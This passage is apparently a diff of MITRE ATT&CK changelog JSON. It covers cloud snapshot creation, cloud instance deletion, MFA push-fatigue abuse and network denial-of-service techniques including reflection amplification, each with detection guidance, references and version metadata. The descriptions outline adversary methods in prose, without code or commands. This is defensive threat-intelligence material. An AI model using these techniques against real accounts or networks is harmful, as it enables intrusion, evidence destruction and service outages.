"x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"Arun Seelagan, CISA\"], \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 13:28:37.416000+00:00\", \"old_value\": \"2021-03-08 10:33:02.034000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\", \"new_path\": \"root['external_references'][3]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-09 15:33:13.563000+00:00", + "modified": "2024-10-15 15:53:44.870000+00:00", + "name": "Create Snapshot", + "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/001", + "external_id": "T1578.001" + }, + { + "source_name": "AWS Cloud Trail Backup API", + "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.", + "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html" + }, + { + "source_name": "GCP - Creating and Starting a VM", + "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.", + "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2" + }, + { + "source_name": "Cloud Audit Logs", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "url": "https://cloud.google.com/logging/docs/audit#admin-activity" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Azure - Monitor Logs", + "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "Snapshot: Snapshot Creation", + "Snapshot: Snapshot Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\": parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:53:44.870000+00:00\", \"old_value\": \"2021-03-08 10:33:02.060000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\", \"new_path\": \"root['external_references'][4]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0020: Snapshot (Snapshot Creation)", + "DS0020: Snapshot (Snapshot Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-16 17:23:06.508000+00:00", + "modified": "2024-09-30 13:28:37.415000+00:00", + "name": "Delete Cloud Instance", + "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/003", + "external_id": "T1578.003" + }, + { + "source_name": "AWS CloudTrail Search", + "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/" + }, + { + "source_name": "Cloud Audit Logs", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "url": "https://cloud.google.com/logging/docs/audit#admin-activity" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Azure Activity Logs", + "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Instance: Instance Deletion" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"Arun Seelagan, CISA\"], \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 13:28:37.415000+00:00\", \"old_value\": \"2021-03-08 10:33:02.083000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\", \"new_path\": \"root['external_references'][3]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0030: Instance (Instance Deletion)", + "DS0030: Instance (Instance Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 02:15:49.754000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Multi-Factor Authentication Request Generation", + "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1621", + "external_id": "T1621" + }, + { + "source_name": "Russian 2FA Push Annoyance - Cimpanu", + "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.", + "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/" + }, + { + "source_name": "MFA Fatigue Attacks - PortSwigger", + "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.", + "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications" + }, + { + "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe", + "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.", + "url": "https://www.mandiant.com/resources/russian-targeting-gov-business" + }, + { + "source_name": "Obsidian SSPR Abuse 2023", + "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.", + "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security", + "Pawel Partyka, Microsoft 365 Defender", + "Shanief Webb", + "Obsidian Security", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Metadata", + "Application Log: Application Log Content", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-04-19 04:26:29.365000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][6]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Azure AD\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][5]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 20:23:15.105000+00:00", + "modified": "2024-10-15 16:01:00.510000+00:00", + "name": "Network Denial of Service", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498", + "external_id": "T1498" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "FSISAC FraudNetDoS September 2012", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.", + "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf" + }, + { + "source_name": "FireEye OpPoisonedHandover February 2016", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html" + }, + { + "source_name": "Symantec DDoS October 2014", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Sensor Health: Host Status" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:01:00.510000+00:00\", \"old_value\": \"2022-03-25 20:05:40.122000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"FS-ISAC. (2012, September 17). Fraud Alert \\u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.\", \"old_value\": \"FS-ISAC. (2012, September 17). Fraud Alert \\u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf\", \"old_value\": \"https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 20:07:18.651000+00:00", + "modified": "2024-10-15 15:54:49.943000+00:00", + "name": "Direct Network Flood", + "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498/001", + "external_id": "T1498.001" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "USNYAG IranianBotnet March 2016", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Sensor Health: Host Status" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:54:49.943000+00:00\", \"old_value\": \"2023-03-30 21:01:53.685000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 20:08:03.691000+00:00", + "modified": "2024-10-15 16:04:34.495000+00:00", + "name": "Reflection Amplification", + "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498/002", + "external_id": "T1498.002" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Cloudflare DNSamplficationDoS", + "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/" + }, + { + "source_name": "Cloudflare NTPamplifciationDoS", + "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/" + }, + { + "source_name": "Cloudflare ReflectionDoS May 2017", + "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.", + "url": "https://blog.cloudflare.com/reflections-on-reflections/" + }, + { + "source_name": "Cloudflare Memcrashed Feb 2018", + "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.", + "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases 